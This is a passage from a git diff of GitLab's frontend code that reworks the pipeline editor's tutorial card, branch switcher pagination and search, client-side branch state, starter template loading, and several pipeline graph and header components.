+ mutation: updateLastCommitBranchMutation,
+ variables: { lastCommitBranch },
+ });
+ },
},
};
</script>
diff --git a/app/assets/javascripts/pipeline_editor/components/drawer/cards/first_pipeline_card.vue b/app/assets/javascripts/pipeline_editor/components/drawer/cards/first_pipeline_card.vue
index 22c1563350d..a8ad56ab6a5 100644
--- a/app/assets/javascripts/pipeline_editor/components/drawer/cards/first_pipeline_card.vue
+++ b/app/assets/javascripts/pipeline_editor/components/drawer/cards/first_pipeline_card.vue
@@ -1,20 +1,22 @@
<script>
import { GlCard, GlLink, GlSprintf } from '@gitlab/ui';
import { s__ } from '~/locale';
-import PipelineVisualReference from '../ui/pipeline_visual_reference.vue';
export default {
i18n: {
title: s__('PipelineEditorTutorial|🚀 Run your first pipeline'),
firstParagraph: s__(
- 'PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs.',
- ),
- secondParagraph: s__(
- 'PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these.',
- ),
- thirdParagraph: s__(
- 'PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes.',
+ 'PipelineEditorTutorial|This template creates a simple test pipeline. To use it:',
),
+ listItems: [
+ s__(
+ 'PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically.',
+ ),
+ s__('PipelineEditorTutorial|The pipeline status is at the top of the page.'),
+ s__(
+ 'PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run.',
+ ),
+ ],
note: s__(
'PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}',
),
@@ -23,9 +25,8 @@ export default {
GlCard,
GlLink,
GlSprintf,
- PipelineVisualReference,
},
- inject: ['ciExamplesHelpPagePath', 'runnerHelpPagePath'],
+ inject: ['runnerHelpPagePath'],
};
</script>
<template>
@@ -33,26 +34,9 @@ export default {
<template #default>
<h4 class="gl-font-lg gl-mt-0">{{ $options.i18n.title }}</h4>
<p class="gl-mb-3">{{ $options.i18n.firstParagraph }}</p>
- <p class="gl-mb-3">
- <gl-sprintf :message="$options.i18n.secondParagraph">
- <template #code="{ content }">
- <code>{{ content }}</code>
- </template>
- </gl-sprintf>
- </p>
- <pipeline-visual-reference />
- <p class="gl-my-3">
- <gl-sprintf :message="$options.i18n.thirdParagraph">
- <template #link="{ content }">
- <gl-link :href="ciExamplesHelpPagePath" target="_blank">
- {{ content }}
- </gl-link>
- </template>
- <template #code="{ content }">
- <code>{{ content }}</code>
- </template>
- </gl-sprintf>
- </p>
+ <ol class="gl-mb-3">
+ <li v-for="(item, i) in $options.i18n.listItems" :key="`li-${i}`">{{ item }}</li>
+ </ol>
<p class="gl-mb-0">
<gl-sprintf :message="$options.i18n.note">
<template #link="{ content }">
diff --git a/app/assets/javascripts/pipeline_editor/components/drawer/ui/pipeline_visual_reference.vue b/app/assets/javascripts/pipeline_editor/components/drawer/ui/pipeline_visual_reference.vue
deleted file mode 100644
index 1017237365b..00000000000
--- a/app/assets/javascripts/pipeline_editor/components/drawer/ui/pipeline_visual_reference.vue
+++ /dev/null
@@ -1,43 +0,0 @@
-<script>
-import { s__ } from '~/locale';
-import DemoJobPill from './demo_job_pill.vue';
-
-export default {
- i18n: {
- stageNames: {
- build: s__('StageName|Build'),
- test: s__('StageName|Test'),
- deploy: s__('StageName|Deploy'),
- },
- jobNames: {
- build: s__('JobName|build-job'),
- test_1: s__('JobName|unit-test'),
- test_2: s__('JobName|lint-test'),
- deploy: s__('JobName|deploy-app'),
- },
- },
- stageClasses:
- 'gl-bg-blue-50 gl-display-flex gl-flex-direction-column gl-align-items-center gl-p-4 gl-rounded-base',
- titleClasses: 'gl-text-blue-600 gl-mb-4',
- components: {
- DemoJobPill,
- },
-};
-</script>
-<template>
- <div class="gl-display-flex gl-justify-content-center">
- <div :class="$options.stageClasses" class="gl-mr-5">
- <div :class="$options.titleClasses">{{ $options.i18n.stageNames.build }}</div>
- <demo-job-pill :job-name="$options.i18n.jobNames.build" />
- </div>
- <div :class="$options.stageClasses" class="gl-mr-5">
- <div :class="$options.titleClasses">{{ $options.i18n.stageNames.test }}</div>
- <demo-job-pill class="gl-mb-3" :job-name="$options.i18n.jobNames.test_1" />
- <demo-job-pill :job-name="$options.i18n.jobNames.test_2" />
- </div>
- <div :class="$options.stageClasses">
- <div :class="$options.titleClasses">{{ $options.i18n.stageNames.deploy }}</div>
- <demo-job-pill :job-name="$options.i18n.jobNames.deploy" />
- </div>
- </div>
-</template>
diff --git a/app/assets/javascripts/pipeline_editor/components/editor/text_editor.vue b/app/assets/javascripts/pipeline_editor/components/editor/text_editor.vue
index a3410d7b837..d373f74a5c4 100644
--- a/app/assets/javascripts/pipeline_editor/components/editor/text_editor.vue
+++ b/app/assets/javascripts/pipeline_editor/components/editor/text_editor.vue
@@ -2,13 +2,15 @@
import { EDITOR_READY_EVENT } from '~/editor/constants';
import { CiSchemaExtension } from '~/editor/extensions/editor_ci_schema_ext';
import EditorLite from '~/vue_shared/components/editor_lite.vue';
+import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import getCommitSha from '../../graphql/queries/client/commit_sha.graphql';
export default {
components: {
EditorLite,
},
- inject: ['ciConfigPath', 'projectPath', 'projectNamespace'],
+ mixins: [glFeatureFlagMixin()],
+ inject: ['ciConfigPath', 'projectPath', 'projectNamespace', 'defaultBranch'],
inheritAttrs: false,
data() {
return {
@@ -25,14 +27,16 @@ export default {
this.$emit('updateCiConfig', content);
},
registerCiSchema() {
- const editorInstance = this.$refs.editor.getEditor();
+ if (this.glFeatures.schemaLinting) {
+ const editorInstance = this.$refs.editor.getEditor();
- editorInstance.use(new CiSchemaExtension({ instance: editorInstance }));
- editorInstance.registerCiSchema({
- projectPath: this.projectPath,
- projectNamespace: this.projectNamespace,
- ref: this.commitSha,
- });
+ editorInstance.use(new CiSchemaExtension({ instance: editorInstance }));
+ editorInstance.registerCiSchema({
+ projectPath: this.projectPath,
+ projectNamespace: this.projectNamespace,
+ ref: this.commitSha || this.defaultBranch,
+ });
+ }
},
},
readyEvent: EDITOR_READY_EVENT,
diff --git a/app/assets/javascripts/pipeline_editor/components/file_nav/branch_switcher.vue b/app/assets/javascripts/pipeline_editor/components/file_nav/branch_switcher.vue
index 1acf3a03e73..05b87abecd5 100644
--- a/app/assets/javascripts/pipeline_editor/components/file_nav/branch_switcher.vue
+++ b/app/assets/javascripts/pipeline_editor/components/file_nav/branch_switcher.vue
@@ -6,7 +6,10 @@ import {
GlInfiniteScroll,
GlLoadingIcon,
GlSearchBoxByType,
+ GlTooltipDirective,
} from '@gitlab/ui';
+import { produce } from 'immer';
+import { fetchPolicies } from '~/lib/graphql';
import { historyPushState } from '~/lib/utils/common_utils';
import { setUrlParams } from '~/lib/utils/url_utility';
import { s__ } from '~/locale';
@@ -15,12 +18,14 @@ import {
BRANCH_SEARCH_DEBOUNCE,
DEFAULT_FAILURE,
} from '~/pipeline_editor/constants';
-import getAvailableBranches from '~/pipeline_editor/graphql/queries/available_branches.graphql';
-import getCurrentBranch from '~/pipeline_editor/graphql/queries/client/current_branch.graphql';
+import updateCurrentBranchMutation from '~/pipeline_editor/graphql/mutations/update_current_branch.mutation.graphql';
+import getAvailableBranchesQuery from '~/pipeline_editor/graphql/queries/available_branches.graphql';
+import getCurrentBranchQuery from '~/pipeline_editor/graphql/queries/client/current_branch.graphql';
+import getLastCommitBranchQuery from '~/pipeline_editor/graphql/queries/client/last_commit_branch.query.graphql';
export default {
i18n: {
- dropdownHeader: s__('Switch Branch'),
+ dropdownHeader: s__('Switch branch'),
title: s__('Branches'),
fetchError: s__('Unable to fetch branch list for this project.'),
},
@@ -33,6 +38,9 @@ export default {
GlLoadingIcon,
GlSearchBoxByType,
},
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
inject: ['projectFullPath', 'totalBranches'],
props: {
paginationLimit: {
@@ -43,101 +51,147 @@ export default {
},
data() {
return {
- branches: [],
- page: {
- limit: this.paginationLimit,
- offset: 0,
- searchTerm: '',
- },
+ availableBranches: [],
+ filteredBranches: [],
+ isSearchingBranches: false,
+ pageLimit: this.paginationLimit,
+ pageCounter: 0,
+ searchTerm: '',
+ lastCommitBranch: '',
};
},
apollo: {
availableBranches: {
- query: getAvailableBranches,
+ query: getAvailableBranchesQuery,
variables() {
return {
- limit: this.page.limit,
- offset: this.page.offset,
+ limit: this.paginationLimit,
+ offset: 0,
projectFullPath: this.projectFullPath,
- searchPattern: this.searchPattern,
+ searchPattern: '*',
};
},
update(data) {
return data.project?.repository?.branchNames || [];
},
- result({ data }) {
- const newBranches = data.project?.repository?.branchNames || [];
-
- // check that we're not re-concatenating existing fetch results
- if (!this.branches.includes(newBranches[0])) {
- this.branches = this.branches.concat(newBranches);
- }
+ result() {
+ this.pageCounter += 1;
},
error() {
- this.$emit('showError', {
- type: DEFAULT_FAILURE,
- reasons: [this.$options.i18n.fetchError],
- });
+ this.showFetchError();
},
},
currentBranch: {
- query: getCurrentBranch,
+ query: getCurrentBranchQuery,
+ },
+ lastCommitBranch: {
+ query: getLastCommitBranchQuery,
+ result({ data: { lastCommitBranch } }) {
+ if (lastCommitBranch === '' || this.availableBranches.includes(lastCommitBranch)) {
+ return;
+ }
+ this.availableBranches.unshift(lastCommitBranch);
+ },
},
},
computed: {
+ branches() {
+ return this.searchTerm.length > 0 ? this.filteredBranches : this.availableBranches;
+ },
isBranchesLoading() {
- return this.$apollo.queries.availableBranches.loading;
+ return this.$apollo.queries.availableBranches.loading || this.isSearchingBranches;
},
showBranchSwitcher() {
- return this.branches.length > 0 || this.page.searchTerm.length > 0;
+ return this.branches.length > 0 || this.searchTerm.length > 0;
},
- searchPattern() {
- if (this.page.searchTerm === '') {
- return '*';
+ },
+ methods: {
+ availableBranchesQueryVars(varsOverride = {}) {
+ if (this.searchTerm.length > 0) {
+ return {
+ limit: this.totalBranches,
+ offset: 0,
+ projectFullPath: this.projectFullPath,
+ searchPattern: `*${this.searchTerm}*`,
+ ...varsOverride,
+ };
}
- return `*${this.page.searchTerm}*`;
+ return {
+ limit: this.paginationLimit,
+ offset: this.pageCounter * this.paginationLimit,
+ projectFullPath: this.projectFullPath,
+ searchPattern: '*',
+ ...varsOverride,
+ };
},
- },
- methods: {
// if there is no searchPattern, paginate by {paginationLimit} branches
fetchNextBranches() {
if (
this.isBranchesLoading ||
- this.page.searchTerm.length > 0 ||
- this.branches.length === this.totalBranches
+ this.searchTerm.length > 0 ||
+ this.branches.length >= this.totalBranches
) {
return;
}
- this.page = {
- ...this.page,
- limit: this.paginationLimit,
- offset: this.page.offset + this.paginationLimit,
- };
+ this.$apollo.queries.availableBranches
+ .fetchMore({
+ variables: this.availableBranchesQueryVars(),
+ updateQuery(previousResult, { fetchMoreResult }) {
+ const previousBranches = previousResult.project.repository.branchNames;
+ const newBranches = fetchMoreResult.project.repository.branchNames;
+
+ return produce(fetchMoreResult, (draftData) => {
+ draftData.project.repository.branchNames = previousBranches.concat(newBranches);
+ });
+ },
+ })
+ .catch(this.showFetchError);
},
async selectBranch(newBranch) {
if (newBranch === this.currentBranch) {
return;
}
- await this.$apollo.getClient().writeQuery({
- query: getCurrentBranch,
- data: { currentBranch: newBranch },
- });
-
+ this.updateCurrentBranch(newBranch);
const updatedPath = setUrlParams({ branch_name: newBranch });
historyPushState(updatedPath);
this.$emit('refetchContent');
},
- setSearchTerm(newSearchTerm) {
- this.branches = [];
- this.page = {
- limit: newSearchTerm.trim() === '' ? this.paginationLimit : this.totalBranches,
- offset: 0,
- searchTerm: newSearchTerm.trim(),
- };
+ async setSearchTerm(newSearchTerm) {
+ this.pageCounter = 0;
+ this.searchTerm = newSearchTerm.trim();
+
+ if (this.searchTerm === '') {
+ this.pageLimit = this.paginationLimit;
+ return;
+ }
+
+ this.isSearchingBranches = true;
+ const fetchResults = await this.$apollo
+ .query({
+ query: getAvailableBranchesQuery,
+ fetchPolicy: fetchPolicies.NETWORK_ONLY,
+ variables: this.availableBranchesQueryVars(),
+ })
+ .catch(this.showFetchError);
+
+ this.isSearchingBranches = false;
+ this.filteredBranches = fetchResults?.data?.project?.repository?.branchNames || [];
+ },
+ showFetchError() {
+ this.$emit('showError', {
+ type: DEFAULT_FAILURE,
+ reasons: [this.$options.i18n.fetchError],
+ });
+ },
+ updateCurrentBranch(currentBranch) {
+ this.$apollo.mutate({
+ mutation: updateCurrentBranchMutation,
+ variables: { currentBranch },
+ });
},
},
};
@@ -146,7 +200,8 @@ export default {
<template>
<gl-dropdown
v-if="showBranchSwitcher"
- class="gl-ml-2"
+ v-gl-tooltip.hover
+ :title="$options.i18n.dropdownHeader"
:header-text="$options.i18n.dropdownHeader"
:text="currentBranch"
icon="branch"
@@ -158,7 +213,6 @@ export default {
<gl-infinite-scroll
:fetched-items="branches.length"
- :total-items="totalBranches"
:max-list-height="250"
@bottomReached="fetchNextBranches"
>
diff --git a/app/assets/javascripts/pipeline_editor/components/file_nav/pipeline_editor_file_nav.vue b/app/assets/javascripts/pipeline_editor/components/file_nav/pipeline_editor_file_nav.vue
index a945fc542a5..ebe73bdcec3 100644
--- a/app/assets/javascripts/pipeline_editor/components/file_nav/pipeline_editor_file_nav.vue
+++ b/app/assets/javascripts/pipeline_editor/components/file_nav/pipeline_editor_file_nav.vue
@@ -15,7 +15,7 @@ export default {
};
</script>
<template>
- <div class="gl-mb-5">
+ <div class="gl-mb-4">
<branch-switcher v-if="showBranchSwitcher" v-on="$listeners" />
</div>
</template>
diff --git a/app/assets/javascripts/pipeline_editor/components/pipeline_editor_tabs.vue b/app/assets/javascripts/pipeline_editor/components/pipeline_editor_tabs.vue
index 4e2f26af51d..c3dcc00af6e 100644
--- a/app/assets/javascripts/pipeline_editor/components/pipeline_editor_tabs.vue
+++ b/app/assets/javascripts/pipeline_editor/components/pipeline_editor_tabs.vue
@@ -22,7 +22,7 @@ import EditorTab from './ui/editor_tab.vue';
export default {
i18n: {
- tabEdit: s__('Pipelines|Write pipeline configuration'),
+ tabEdit: s__('Pipelines|Edit'),
tabGraph: s__('Pipelines|Visualize'),
tabLint: s__('Pipelines|Lint'),
tabMergedYaml: s__('Pipelines|View merged YAML'),
@@ -114,6 +114,7 @@ export default {
:empty-message="$options.i18n.empty.visualization"
:is-empty="isEmpty"
:is-invalid="isInvalid"
+ :keep-component-mounted="false"
:title="$options.i18n.tabGraph"
lazy
data-testid="visualization-tab"
diff --git a/app/assets/javascripts/pipeline_editor/constants.js b/app/assets/javascripts/pipeline_editor/constants.js
index f0a24e0c061..1467abd7289 100644
--- a/app/assets/javascripts/pipeline_editor/constants.js
+++ b/app/assets/javascripts/pipeline_editor/constants.js
@@ -31,3 +31,5 @@ export const DRAWER_EXPANDED_KEY = 'pipeline_editor_drawer_expanded';
export const BRANCH_PAGINATION_LIMIT = 20;
export const BRANCH_SEARCH_DEBOUNCE = '500';
+
+export const STARTER_TEMPLATE_NAME = 'Getting-Started';
diff --git a/app/assets/javascripts/pipeline_editor/graphql/mutations/update_current_branch.mutation.graphql b/app/assets/javascripts/pipeline_editor/graphql/mutations/update_current_branch.mutation.graphql
new file mode 100644
index 00000000000..b722c147f5f
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/graphql/mutations/update_current_branch.mutation.graphql
@@ -0,0 +1,3 @@
+mutation updateCurrentBranch($currentBranch: String) {
+ updateCurrentBranch(currentBranch: $currentBranch) @client
+}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/mutations/update_last_commit_branch.mutation.graphql b/app/assets/javascripts/pipeline_editor/graphql/mutations/update_last_commit_branch.mutation.graphql
new file mode 100644
index 00000000000..9561312f2b6
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/graphql/mutations/update_last_commit_branch.mutation.graphql
@@ -0,0 +1,3 @@
+mutation updateLastCommitBranch($lastCommitBranch: String) {
+ updateLastCommitBranch(lastCommitBranch: $lastCommitBranch) @client
+}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/client/last_commit_branch.query.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/client/last_commit_branch.query.graphql
new file mode 100644
index 00000000000..e8a32d728d5
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/graphql/queries/client/last_commit_branch.query.graphql
@@ -0,0 +1,3 @@
+query getLastCommitBranchQuery {
+ lastCommitBranch @client
+}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/get_starter_template.query.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/get_starter_template.query.graphql
new file mode 100644
index 00000000000..88825718f7b
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/graphql/queries/get_starter_template.query.graphql
@@ -0,0 +1,7 @@
+query getTemplate($projectPath: ID!, $templateName: String!) {
+ project(fullPath: $projectPath) {
+ ciTemplate(name: $templateName) {
+ content
+ }
+ }
+}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/resolvers.js b/app/assets/javascripts/pipeline_editor/graphql/resolvers.js
index 81e75c32846..8cead7f3315 100644
--- a/app/assets/javascripts/pipeline_editor/graphql/resolvers.js
+++ b/app/assets/javascripts/pipeline_editor/graphql/resolvers.js
@@ -1,5 +1,8 @@
+import produce from 'immer';
import Api from '~/api';
import axios from '~/lib/utils/axios_utils';
+import getCurrentBranchQuery from './queries/client/current_branch.graphql';
+import getLastCommitBranchQuery from './queries/client/last_commit_branch.query.graphql';
export const resolvers = {
Query: {
@@ -39,5 +42,21 @@ export const resolvers = {
__typename: 'CiLintContent',
}));
},
+ updateCurrentBranch: (_, { currentBranch = undefined }, { cache }) => {
+ cache.writeQuery({
+ query: getCurrentBranchQuery,
+ data: produce(cache.readQuery({ query: getCurrentBranchQuery }), (draftData) => {
+ draftData.currentBranch = currentBranch;
+ }),
+ });
+ },
+ updateLastCommitBranch: (_, { lastCommitBranch = undefined }, { cache }) => {
+ cache.writeQuery({
+ query: getLastCommitBranchQuery,
+ data: produce(cache.readQuery({ query: getLastCommitBranchQuery }), (draftData) => {
+ draftData.lastCommitBranch = lastCommitBranch;
+ }),
+ });
+ },
},
};
diff --git a/app/assets/javascripts/pipeline_editor/index.js b/app/assets/javascripts/pipeline_editor/index.js
index 66158bdba88..e0f8d889cad 100644
--- a/app/assets/javascripts/pipeline_editor/index.js
+++ b/app/assets/javascripts/pipeline_editor/index.js
@@ -6,6 +6,7 @@ import { resetServiceWorkersPublicPath } from '../lib/utils/webpack';
import { CODE_SNIPPET_SOURCE_SETTINGS } from './components/code_snippet_alert/constants';
import getCommitSha from './graphql/queries/client/commit_sha.graphql';
import getCurrentBranch from './graphql/queries/client/current_branch.graphql';
+import getLastCommitBranchQuery from './graphql/queries/client/last_commit_branch.query.graphql';
import getPipelineEtag from './graphql/queries/client/pipeline_etag.graphql';
import { resolvers } from './graphql/resolvers';
import typeDefs from './graphql/typedefs.graphql';
@@ -82,6 +83,13 @@ export const initPipelineEditor = (selector = '#js-pipeline-editor') => {
},
});
+ cache.writeQuery({
+ query: getLastCommitBranchQuery,
+ data: {
+ lastCommitBranch: '',
+ },
+ });
+
return new Vue({
el,
apolloProvider,
diff --git a/app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue b/app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue
index 79a2a51cebc..c24e6523352 100644
--- a/app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue
+++ b/app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue
@@ -14,12 +14,14 @@ import {
EDITOR_APP_STATUS_ERROR,
EDITOR_APP_STATUS_LOADING,
LOAD_FAILURE_UNKNOWN,
+ STARTER_TEMPLATE_NAME,
} from './constants';
import getBlobContent from './graphql/queries/blob_content.graphql';
import getCiConfigData from './graphql/queries/ci_config.graphql';
import getAppStatus from './graphql/queries/client/app_status.graphql';
import getCurrentBranch from './graphql/queries/client/current_branch.graphql';
import getIsNewCiConfigFile from './graphql/queries/client/is_new_ci_config_file.graphql';
+import getTemplate from './graphql/queries/get_starter_template.query.graphql';
import PipelineEditorHome from './pipeline_editor_home.vue';
export default {
@@ -51,12 +53,13 @@ export default {
showStartScreen: false,
showSuccess: false,
showFailure: false,
+ starterTemplate: '',
};
},
apollo: {
initialCiFileContent: {
- fetchPolicy: fetchPolicies.NETWORK,
+ fetchPolicy: fetchPolicies.NETWORK_ONLY,
query: getBlobContent,
// If it's a brand new file, we don't want to fetch the content.
// Then when the user commits the first time, the query would run
@@ -135,6 +138,27 @@ export default {
isNewCiConfigFile: {
query: getIsNewCiConfigFile,
},
+ starterTemplate: {
+ query: getTemplate,
+ variables() {
+ return {
+ projectPath: this.projectFullPath,
+ templateName: STARTER_TEMPLATE_NAME,
+ };
+ },
+ skip({ isNewCiConfigFile }) {
+ return !isNewCiConfigFile;
+ },
+ update(data) {
+ return data.project?.ciTemplate?.content || '';
+ },
+ result({ data }) {
+ this.updateCiConfig(data.project?.ciTemplate?.content || '');
+ },
+ error() {
+ this.reportFailure(LOAD_FAILURE_UNKNOWN);
+ },
+ },
},
computed: {
hasUnsavedChanges() {
@@ -151,7 +175,7 @@ export default {
},
},
i18n: {
- tabEdit: s__('Pipelines|Write pipeline configuration'),
+ tabEdit: s__('Pipelines|Edit'),
tabGraph: s__('Pipelines|Visualize'),
tabLint: s__('Pipelines|Lint'),
},
@@ -228,7 +252,8 @@ export default {
.getClient()
.writeQuery({ query: getIsNewCiConfigFile, data: { isNewCiConfigFile: false } });
}
- // Keep track of the latest commited content to know
+
+ // Keep track of the latest committed content to know
// if the user has made changes to the file that are unsaved.
this.lastCommittedContent = this.currentCiFileContent;
},
diff --git a/app/assets/javascripts/pipelines/components/graph/graph_component_wrapper.vue b/app/assets/javascripts/pipelines/components/graph/graph_component_wrapper.vue
index 9329a35ba99..fb45738f8d1 100644
--- a/app/assets/javascripts/pipelines/components/graph/graph_component_wrapper.vue
+++ b/app/assets/javascripts/pipelines/components/graph/graph_component_wrapper.vue
@@ -1,12 +1,12 @@
<script>
import { GlAlert, GlLoadingIcon } from '@gitlab/ui';
import getPipelineDetails from 'shared_queries/pipelines/get_pipeline_details.query.graphql';
+import getUserCallouts from '~/graphql_shared/queries/get_user_callouts.query.graphql';
import { __ } from '~/locale';
import LocalStorageSync from '~/vue_shared/components/local_storage_sync.vue';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { DEFAULT, DRAW_FAILURE, LOAD_FAILURE } from '../../constants';
import DismissPipelineGraphCallout from '../../graphql/mutations/dismiss_pipeline_notification.graphql';
-import getUserCallouts from '../../graphql/queries/get_user_callouts.query.graphql';
import { reportToSentry, reportMessageToSentry } from '../../utils';
import { listByLayers } from '../parsing_utils';
import { IID_FAILURE, LAYER_VIEW, STAGE_VIEW, VIEW_TYPE_KEY } from './constants';
diff --git a/app/assets/javascripts/pipelines/components/graph/graph_view_selector.vue b/app/assets/javascripts/pipelines/components/graph/graph_view_selector.vue
index 1435276edd3..3c78b655dc7 100644
--- a/app/assets/javascripts/pipelines/components/graph/graph_view_selector.vue
+++ b/app/assets/javascripts/pipelines/components/graph/graph_view_selector.vue
@@ -1,6 +1,6 @@
<script>
import { GlAlert, GlLoadingIcon, GlSegmentedControl, GlToggle } from '@gitlab/ui';
-import { __ } from '~/locale';
+import { __, s__ } from '~/locale';
import { STAGE_VIEW, LAYER_VIEW } from './constants';
export default {
@@ -36,20 +36,20 @@ export default {
},
i18n: {
hoverTipText: __('Tip: Hover over a job to see the jobs it depends on to run.'),
- linksLabelText: __('Show dependencies'),
+ linksLabelText: s__('GraphViewType|Show dependencies'),
viewLabelText: __('Group jobs by'),
},
views: {
[STAGE_VIEW]: {
type: STAGE_VIEW,
text: {
- primary: __('Stage'),
+ primary: s__('GraphViewType|Stage'),
},
},
[LAYER_VIEW]: {
type: LAYER_VIEW,
text: {
- primary: __('Job dependencies'),
+ primary: s__('GraphViewType|Job dependencies'),
},
},
},
diff --git a/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue b/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue
index 3f746731e34..b3c5af5418f 100644
--- a/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue
+++ b/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue
@@ -58,7 +58,7 @@ export default {
},
computed: {
tooltipText() {
- return `${this.downstreamTitle} #${this.pipeline.id} - ${this.pipelineStatus.label}
+ return `${this.downstreamTitle} #${this.pipeline.id} - ${this.pipelineStatus.label} -
${this.sourceJobInfo}`;
},
buttonId() {
@@ -71,7 +71,7 @@ export default {
return this.pipeline.project.name;
},
downstreamTitle() {
- return this.childPipeline ? __('child-pipeline') : this.pipeline.project.name;
+ return this.childPipeline ? this.sourceJobName : this.pipeline.project.name;
},
parentPipeline() {
return this.isUpstream && this.isSameProject;
@@ -163,7 +163,7 @@ export default {
/>
<div v-else class="gl-pr-2"><gl-loading-icon inline /></div>
<div class="gl-display-flex gl-flex-direction-column gl-w-13">
- <span class="gl-text-truncate">
+ <span class="gl-text-truncate" data-testid="downstream-title">
{{ downstreamTitle }}
</span>
<div class="gl-text-truncate">
diff --git a/app/assets/javascripts/pipelines/components/graph_shared/drawing_utils.js b/app/assets/javascripts/pipelines/components/graph_shared/drawing_utils.js
index 7c306683305..7c62acbe8de 100644
--- a/app/assets/javascripts/pipelines/components/graph_shared/drawing_utils.js
+++ b/app/assets/javascripts/pipelines/components/graph_shared/drawing_utils.js
@@ -60,8 +60,16 @@ export const generateLinksData = ({ links }, containerID, modifier = '') => {
paddingTop +
sourceNodeCoordinates.height / 2;
- // Start point
- path.moveTo(sourceNodeX, sourceNodeY);
+ const sourceNodeLeftX = sourceNodeCoordinates.left - containerCoordinates.x - paddingLeft;
+
+ // If the source and target X values are the same,
+ // it means the nodes are in the same column so we
+ // want to start the line on the left of the pill
+ // instead of the right to have a nice curve.
+ const firstPointCoordinateX = sourceNodeLeftX === targetNodeX ? sourceNodeLeftX : sourceNodeX;
+
+ // First point
+ path.moveTo(firstPointCoordinateX, sourceNodeY);
// Make cross-stages lines a straight line all the way
// until we can safely draw the bezier to look nice.
diff --git a/app/assets/javascripts/pipelines/components/header_component.vue b/app/assets/javascripts/pipelines/components/header_component.vue
index d8e7b83a8c1..b7500ef00b0 100644
--- a/app/assets/javascripts/pipelines/components/header_component.vue
+++ b/app/assets/javascripts/pipelines/components/header_component.vue
@@ -132,6 +132,16 @@ export default {
};
}
},
+ canRetryPipeline() {
+ const { retryable, userPermissions } = this.pipeline;
+
+ return retryable && userPermissions.updatePipeline;
+ },
+ canCancelPipeline() {
+ const { cancelable, userPermissions } = this.pipeline;
+
+ return cancelable && userPermissions.updatePipeline;
+ },
},
watch: {
isFinished(finished) {
@@ -219,7 +229,7 @@ export default {
item-name="Pipeline"
>
<gl-button
- v-if="pipeline.retryable"
+ v-if="canRetryPipeline"
:loading="isRetrying"
:disabled="isRetrying"
category="secondary"
@@ -232,7 +242,7 @@ export default {
</gl-button>
<gl-button
- v-if="pipeline.cancelable"
+ v-if="canCancelPipeline"
:loading="isCanceling"
:disabled="isCanceling"
class="gl-ml-3"
diff --git a/app/assets/javascripts/pipelines/components/jobs_shared/action_component.vue b/app/assets/javascripts/pipelines/components/jobs_shared/action_component.vue
index 3972c126673..d19215e7895 100644
--- a/app/assets/javascripts/pipelines/components/jobs_shared/action_component.vue
+++ b/app/assets/javascripts/pipelines/components/jobs_shared/action_component.vue
@@ -1,6 +1,6 @@
<script>
import { GlTooltipDirective, GlButton, GlLoadingIcon, GlIcon } from '@gitlab/ui';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { BV_HIDE_TOOLTIP } from '~/lib/utils/constants';
import { dasherize } from '~/lib/utils/text_utility';
@@ -81,7 +81,9 @@ export default {
reportToSentry('action_component', err);
- createFlash(__('An error occurred while making the request.'));
+ createFlash({
+ message: __('An error occurred while making the request.'),
+ });
});
},
},
diff --git a/app/assets/javascripts/pipelines/components/notification/pipeline_notification.vue b/app/assets/javascripts/pipelines/components/notification/pipeline_notification.vue
deleted file mode 100644
index 6dff3828a34..00000000000
--- a/app/assets/javascripts/pipelines/components/notification/pipeline_notification.vue
+++ /dev/null
@@ -1,90 +0,0 @@
-<script>
-import { GlBanner, GlLink, GlSprintf } from '@gitlab/ui';
-import createFlash from '~/flash';
-import { __ } from '~/locale';
-import DismissPipelineGraphCallout from '../../graphql/mutations/dismiss_pipeline_notification.graphql';
-import getUserCallouts from '../../graphql/queries/get_user_callouts.query.graphql';
-
-const featureName = 'pipeline_needs_banner';
-const enumFeatureName = featureName.toUpperCase();
-
-export default {
- i18n: {
- title: __('View job dependencies in the pipeline graph!'),
- description: __(
- 'You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}',
- ),
- buttonText: __('Provide feedback'),
- },
- components: {
- GlBanner,
- GlLink,
- GlSprintf,
- },
- apollo: {
- callouts: {
- query: getUserCallouts,
- update(data) {
- return data?.currentUser?.callouts?.nodes.map((c) => c.featureName);
- },
- error() {
- this.hasError = true;
- },
- },
- },
- inject: ['dagDocPath'],
- data() {
- return {
- callouts: [],
- dismissedAlert: false,
- hasError: false,
- };
- },
- computed: {
- showBanner() {
- return (
- !this.$apollo.queries.callouts?.loading &&
- !this.hasError &&
- !this.dismissedAlert &&
